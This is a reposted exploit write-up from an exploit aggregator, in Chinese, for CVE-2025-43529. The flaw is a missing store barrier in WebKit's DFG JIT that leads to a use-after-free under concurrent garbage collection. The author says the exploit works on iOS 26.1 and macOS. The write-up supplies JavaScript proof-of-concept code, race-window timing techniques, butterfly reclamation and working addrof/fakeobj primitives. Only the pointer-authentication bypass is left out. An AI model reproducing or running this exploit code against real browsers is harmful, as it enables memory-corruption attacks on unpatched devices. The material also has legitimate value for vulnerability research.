Sploitus

Exploit for CVE-2025-43529

kitploit · 2026-08-25

Exploit Code

MARKDOWN365 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JIR4VV1T-CVE-2025-43529
# CVE-2025-43529

## TL; DR

Apple 最近发布了 iOS 26.2 和 iPadOS 26.2,以及一份安全公告,其中包含对 WebKit 漏洞的修复。DFG JIT 编译器中的一个 bug(CVE-2025-43529)引起了我的注意,所以我决定深入研究它。

JIT 编译器正确地识别出 Phi 节点(多个控制流路径合并处)已经逃逸,但未能注意到 Phi 的 Upsilon 节点也已逃逸。因此,DFG 编译的 `StoreBarrierInsertionPhase` 跳过了插入 Store Barrier,而 Store Barrier 是一种关键的内存安全机制。结果,并发 GC 可能会遗漏本应扫描的对象,从而导致释放后使用。

你可以在此处找到补丁提交:链接。

我已确认我的利用在 iOS 26.1、iPadOS 26.1 和 macOS Tahoe 26.0.1 上有效。

## 背景

### 分代 GC

JSC 使用分代 GC 模型来高效管理堆内存。在该模型中,内存根据对象年龄分为 Eden(新空间)和老空间。所有新分配的对象都从 Eden 开始。当 Eden 填满时,会触发 Eden GC,任何存活的对象都会被提升到老空间。清理老空间对象需要一次完整 GC。

为了使分代 GC 正常工作,GC 需要将对象分类为“已扫描”、“需要扫描”或“需要重新扫描”。在 JSC 中,这是通过对象的 `cellState` 来跟踪的。(所有 GC 管理的对象都继承自 `JSCell`。)

root@kitploit:~
    
    
    StructureID m_structureID;
    union {
        uint32_t m_blob;
        struct {
            IndexingType m_indexingTypeAndMisc; 
            JSType m_type;
            TypeInfo::InlineTypeFlags m_flags;
            CellState m_cellState;
        };
    };
    

`cellState` 是 1 个字节,可以是三种颜色之一:`Black`(0)、`White`(1)和 `Grey`(2)。

White 表示刚刚在 Eden 中分配的对象。在当前 GC 周期中,它尚未被标记。如果它在整个 GC 周期中保持此状态,则该对象将被回收。

Black 表示 GC 已经完成对该对象的标记,或者正在标记过程中。它基本上被视为存活对象,尽管 `isMarked` 位可能仍未设置。

Grey 表示仍需要扫描的对象。更准确地说,它最初是 Black,但被写屏障捕获并添加到记忆集中。换句话说,它的引用发生了变化,因此 GC 需要重新扫描它。

### 并发 GC

JSC 还支持并发 GC,允许在回收内存的同时运行应用程序。如果 GC 在后台标记一个对象,而应用程序同时更改该对象的状态,则可能会导致竞态条件。

为防止这种情况,需要排序保证。例如,“先写入(存储)A,然后读取(加载)B”必须按此顺序发生。但在 ARM64 上,出于性能原因,CPU 可以重新排序内存操作。这意味着 GC 可能读取错误的值。

因此,JSC 使用依赖类来依赖 CPU 的数据依赖关系,或者使用特殊的 ARM64 指令(如 `STLR` 和 `LDAR`)来强制排序。`STLR` 确保先前的读/写在存储之前变得可见(释放存储)。`LDAR` 确保后续的读/写不能提前到加载之前(获取加载)。当另一个线程读取对象时,`LDAR` 与 `STLR` 配对,以便安全地观察最新数据。

`DMB` 不是针对单次访问的单一特殊指令。它是一个屏障,强制对其周围的所有内存访问进行排序。它确保 `DMB` 之前的内存操作在 `DMB` 之后的操作之前变得可见。

### JSC JIT

JSC 总共有三个 JIT 层级。 为了平衡执行速度与编译成本(内存/时间),它会根据代码的运行频率应用优化并将其提升到下一个层级。

  * 第 1 层:Baseline JIT
  * 第 2 层:DFG JIT
  * 第 3 层:FTL JIT



Baseline JIT 是第一个 JIT 编译器。它专注于以较低的编译开销快速生成本地代码。 DFG JIT 是 Baseline JIT 之后的下一阶段,从这里开始进行认真的优化。

在 DFG 层级,JavaScript 指令被转换为由 DFG IR 节点组成的图。利用收集到的类型信息,编译器进行推测以消除不必要的操作。 在 JSC 的 DFG 优化管道中,`StoreBarrierInsertionPhase` 在对内存进行写入的节点(如 `PutByOffset`)之后插入 `StoreBarrier`。 `CVE-2025-43529` 是一个漏洞,由在 `StoreBarrierInsertionPhase` 期间本应插入 `StoreBarrier` 时却未能插入所致。

`StoreBarrier` 是一个充当写屏障的节点。它用于保持在标记线程竞争下的正确性。

## 触发 Bug

补丁提交中描述的易受攻击的 DFG 节点场景如下:

root@kitploit:~
    
    
    BB#1
    a: NewObject
    b: NewObject
    ...
    c: Upsilon(@b, ^f)
       Branch(BB#2, BB#3)
    
    BB#2
    ...
    d: Something
    e: Upsilon(@d, ^f)
       Jump(BB#3)
    
    BB#3
    f: Phi(@c, @e)
    ...
    g: PutByOffset(@a, @f)
    ...
    h: PutByOffset(@b, ...)
    ...
    

在 `BB#1` 中,创建了两个新对象,执行分支到 `BB#2` 或 `BB#3`。`BB#2` 然后落入 `BB#3`。`BB#3` 中有趣的部分是 Phi 节点。这意味着 `f` 是 `c` 或 `e`,该选择由上游的 Upsilon 节点决定。在 `BB#3` 中,`PutByOffset` 表示向对象的属性添加一个值。

### 简化的 PoC

root@kitploit:~
    
    
    let A = { p0: 0x41414141 };
    
    function jitme(flag) {
        // BB#1
        let a = { p0: 13.37 };
        let b = { p0: 0x42424242 };
    
        let f;
    
        if (flag) {
            // BB#2
            f = b; 
        } else {
            // BB#3
            f = 1.1; // d
        }
    
        // BB#4
        A.p0 = f; 
        b.p0 = a;
    }
    

如果使用 `--dumpFTLDisassembly=true` 选项,你可以检查 FTL 编译后的汇编代码。

root@kitploit:~
    
    
    // Starting BB#3
      0  3 60:   D@46:< 1:->        Phi(JS|PureInt, Final|NonIntAsDouble, W:SideState, bc#50, ExitInvalid)
      1  3 60:   D@53:<!0:->        ZombieHint(Check:Untyped:D@79, MustGen, loc5, W:SideState, ClobbersExit, bc#50, ExitInvalid)
      2  3 60:   D@57:<!0:->        ExitOK(MustGen, W:SideState, bc#50, ExitValid)
      3  3 60:   D@63:<!0:->        KillStack(MustGen, loc8, W:Stack(loc8), ClobbersExit, bc#50, ExitValid)
      4  3 60:   D@60:<!0:->        ZombieHint(Check:Untyped:D@79, MustGen, loc8, W:SideState, ClobbersExit, bc#50, ExitInvalid)
      5  3 60:   D@67:<!0:->        KillStack(MustGen, loc9, W:Stack(loc9), ClobbersExit, bc#57, ExitValid)
      6  3 60:   D@66:<!0:->        ZombieHint(Check:Untyped:Kill:D@79, MustGen, loc9, W:SideState, ClobbersExit, bc#57, ExitInvalid)
      7  3 60:   D@69:<!0:->        FilterPutByStatus(Check:Untyped:D@65, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#66, ExitValid)
    // D@65 : A
    // D@46 : f
    // A.p0 = f
      8  3 60:   D@70:<!0:->        PutByOffset(KnownCell:D@65, KnownCell:D@65, Check:Untyped:Kill:D@46, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#66, ExitValid)
    
    // StoreBarrier for D@65(A)
      9  3 60:   D@78:<!0:->        FencedStoreBarrier(Check:KnownCell:Kill:D@65, MustGen, R:Heap, W:JSCell_cellState, bc#66, ExitInvalid)
     10  3 60:   D@73:<!0:->        FilterPutByStatus(Check:Untyped:D@36, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#72, ExitValid)
    
    // D@36 : b
    // D@26 : a
    // b.p0 = a
     11  3 60:   D@75:<!0:->        PutByOffset(KnownCell:Kill:D@36, KnownCell:D@36, Check:Untyped:Kill:D@26, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#72, ExitValid)
    // StoreBarrier for D@36(b) is supposed to be here
     12  3 60:   D@71:<!0:->        Return(Check:Untyped:Kill:D@2, MustGen, W:SideState, Exits, bc#78, ExitValid)
    

由于该 bug,`b` 的 StoreBarrier 没有被发出。

对象 `A` 位于老空间中。在第一个 `PutByOffset`(`A.p0 = f`)中,老对象 `A` 最终指向了新对象 `f`。这意味着在该存储之后的任何时刻,标记线程都可以通过 `A` 到达 `f`。因此,如果你后来修改了 `f` 的属性,则必须插入 StoreBarrier。

`f`(Phi 节点)被视为逃逸,但实际可以流入 `f` 的输入(通过 Upsilon:`b` 和 `d`)并未被标记为逃逸。从逻辑上讲,如果 `f` 被存储到 `A` 中,那么任何可能成为 `f` 的对象(包括 `b`)实际上也被存储到了 `A` 中。但由于这个 bug,编译器没有意识到这一点,所以它仍然认为 `b` 是一个非逃逸的“安全”值,GC 不需要扫描它,最终跳过了 StoreBarrier。

### 竞态条件

要触发释放后使用,必须在主线程和标记线程之间成功进行竞态。场景如下:

  1. 并发标记(标记线程): 标记线程通过从老空间对象 `A` 遍历到达 `b`,并将 `A` 和 `b` 都标记为黑色。

  2. 引用更新(主线程): 主线程执行 `b.p0 = a`。此时,`a` 是一个尚未被标记的 Eden 对象,因此它仍然是 White。这创建了一个 Black 对象指向一个 White 对象。

  3. 缺失的存储屏障: 正常情况下,`b` 应该被添加到记忆集中。但由于 bug 跳过了存储屏障,GC 从未得知 `b` 现在指向了 `a`。GC 周期继续,如果没有其他东西引用 `a`,它将始终保持 White,最终被释放。

  4. GC 周期结束: 之后,读取 `b.p0` 可能会触及已释放的内存,导致释放后使用。




### 竞争窗口

利用竞态条件最难的部分是命中竞争窗口。对象 `A` 和 `b` 需要在同一个 GC 周期内被标记。为了使主线程和标记线程之间的时序对齐,我使用了三种技术。

root@kitploit:~
    
    
    arr = new Array(0x40_0000).fill(1.1);
    let arr_index = arr.length - 1;
    
    let A = {
        p0: 0x41414141,
        p1: 1.1,
        p2: 2.2,
    };
    arr[arr_index] = A;
    

首先,为了确保在 `A` 的扫描开始之前有一个时间窗口,你需要让 GC 访问一些子对象,我将 `arr` 做得很大,并将 `A` 放在最后一个索引处。这里需要注意的一点是,`A` 需要位于老空间中。

root@kitploit:~
    
    
    let forGC = [];
    
    let a = new Date(1);
    a[0] = 1.1;
    
    for (let j = 0; j < allocCount; ++j) {
        let arr = new ArrayBuffer(0x80_0000);
        forGC.push(arr);
    }
    A.p2 = forGC;
    

其次,扫描老空间中的 `A` 需要触发一次完整 GC。为此,你需要分配足够多的大对象。为了使 GC 的触发更加一致,我保留了所分配对象的引用,这样它们就不会被优化掉,我将其存储在 `A.p2` 中。

root@kitploit:~
    
    
    A.p1 = f;
    
    let v = 1.1;
    for (let i = 0; i < 1e6; ++i) {
        for (let j = 0; j < k; ++j) {
            v = i;
            v = j;
        }
    }
    
    b.p0 = v;
    b.p1 = a;
    

第三,一旦触发了一次完整 GC,如果你设法通过使用一个足够大的数组来延迟标记 `A`,那么主线程仍然需要 `A` 的标记刚好在它向 `b` 添加对 `a` 的引用之前完成。为了强制这种时序,我添加了一个大循环。并且为了防止循环被优化掉,我将最终值存储在了 `b.p0` 中。

## 利用

### 回收 butterfly

在一次 GC 周期完成后,你可以观察到,当包含已释放对象的 MarkedBlock 被再次使用时,该块中未被标记的对象会被清除。在 JSC 中,清除机制使 MarkedBlock 的全部或部分可用于进一步的分配。已释放对象的地址只有在清除发生后才对分配器可重用。

root@kitploit:~
    
    
    reclaimed = false;
    
    for (let i = 0; i < 1e6; ++i) {
        let arr = [13.37, 2.2, 3.3, 4.4, noCow];
        ref.push(arr);
        if (freed_object[0] === 13.37) { 
            reclaimed = true;
            break;
        }
    }
    
    if (!reclaimed) {
        print('failed');
    }
    

竞态之后,循环不断分配长度为 5 的数组,以鼓励回收被清除的 butterfly。如果 butterfly 被重新分配,你可以通过读取共享相同 butterfly 地址的对象的索引属性来检测到它。

在内部,创建 `arr` 会调用 `JSC::constructArrayBuffer`,从而触发 `MarkedBlock::Handle::specializedSweep`。这就是包含 butterfly 的块的 FreeList 首次构建的地方。

root@kitploit:~
    
    
    void MarkedBlock::Handle::specializedSweep(...)
    {
        // ... 
        if (emptyMode == IsEmpty || (marksMode != MarksNotStale && newlyAllocatedMode != HasNewlyAllocated)) {
            // ...
            if (sweepMode == SweepToFreeList) {
                if (scribbleMode == Scribble) [[unlikely]]
                    scribble(payloadBegin, payloadEnd - payloadBegin);
                FreeCell* interval = reinterpret_cast_ptr<FreeCell*>(payloadBegin);
                interval->makeLast(payloadEnd - payloadBegin, secret);
                freeList->initialize(interval, secret, payloadEnd - payloadBegin);
            }
            return;
        }
        // ...
    }
    

使用 PoC,如果在竞态之后对包含 butterfly 的块进行清除,`emptyMode`、`marksMode` 和 `newlyAllocatedMode` 将分别变为 `IsEmpty`、`MarksStale` 和 `DoesNotHaveNewlyAllocated`,因此执行将进入上面的 `if` 语句。

在普通的清除中,你需要分段构建空闲链表,但在这里整个块是空的,所以空闲链表被初始化为一个覆盖整个块的大型区间。`freeList` 结构非常简单。它基本上只跟踪块的起始位置、结束位置及其大小。

此时,`freeList` 包含整个块,其中包括 butterfly 指针。

root@kitploit:~
    
    
    template<typename Func>
    ALWAYS_INLINE HeapCell* FreeList::allocateWithCellSize(const Func& slowPath, size_t cellSize)
    {
        if (m_intervalStart < m_intervalEnd) [[likely]] {
            char* result = m_intervalStart;
            m_intervalStart += cellSize;
            return std::bit_cast<HeapCell*>(result);
        }
        // ...
    }
    

从 `freeList` 分配内存由 `FreeList::allocateWithCellSize` 处理。如果 `m_intervalStart` 和 `m_intervalEnd` 不相等,分配器会将区间视为有空闲单元格可用,返回当前起始指针作为新对象的地址,然后将起始指针前进 `cellSize` 个字节。

该函数从 `JSC::constructArray` 中调用,并在循环内反复命中。最终,一个新分配的数组最终将其 butterfly 设置为已释放的 butterfly 地址。

### 清除垃圾

利用失败的原因有很多,但一个简单的改进是消除残留在栈上的 butterfly 指针。

在 butterfly 分配期间,分配的指针会被反复写入栈。如果在调用触发释放后使用的函数之后,该指针仍然留在栈上,GC 的保守栈扫描可能会拾取它并标记它,这会阻止它被释放,最终像正常对象一样“保护”它。

在 PoC 中,这通过调用一个创建大量栈帧的函数来解决。

root@kitploit:~
    
    
    function recursive(n) {
        if (n === 0) 
            return;
        n = n | 0;
        recursive(n - 1);  
    }
    
    recursive(10000);
    

通过调用递归函数,主线程用函数帧填满其栈空间,用其他值覆盖所有遗留的 butterfly 地址。之后,在栈扫描期间找到 butterfly 指针的可能性降低,从而增加了 GC 不会扫描该 butterfly 的几率。

### 构建原语

root@kitploit:~
    
    
    let boxed_arr = reclaimed_object;
    boxed_arr[0] = {}; // Double -> Contiguous
    let unboxed_arr = freed_object;
    
    function addrof(obj) {
        boxed_arr[0] = obj;
        return ftoi(unboxed_arr[0]);
    }
    
    function fakeobj(addr) {
        unboxed_arr[0] = itof(addr);
        return boxed_arr[0];
    }
    

通过释放后使用,你可以让已释放对象 `a` 和新分配的数组拥有相同的 butterfly。然后,通过使这两个对象使用不同的 `IndexingType`,你可以以 `Double` 和 `Contiguous` 两种方式访问这个单一 butterfly 中的值。这直接导致了经典的 `addrof` 和 `fakeobj` 原语。

## 后续步骤

如果你已经成功构建了 `addrof`/`fakeobj` 原语,那么你可以轻松构建读/写原语。但是,要获得代码执行能力,你仍然需要绕过指针认证。这部分留作挑战。

## 参考资料

  * Understanding Garbage Collection in JavaScriptCore From Scratch
  * About the security content of iOS 26.2 and iPadOS 26.2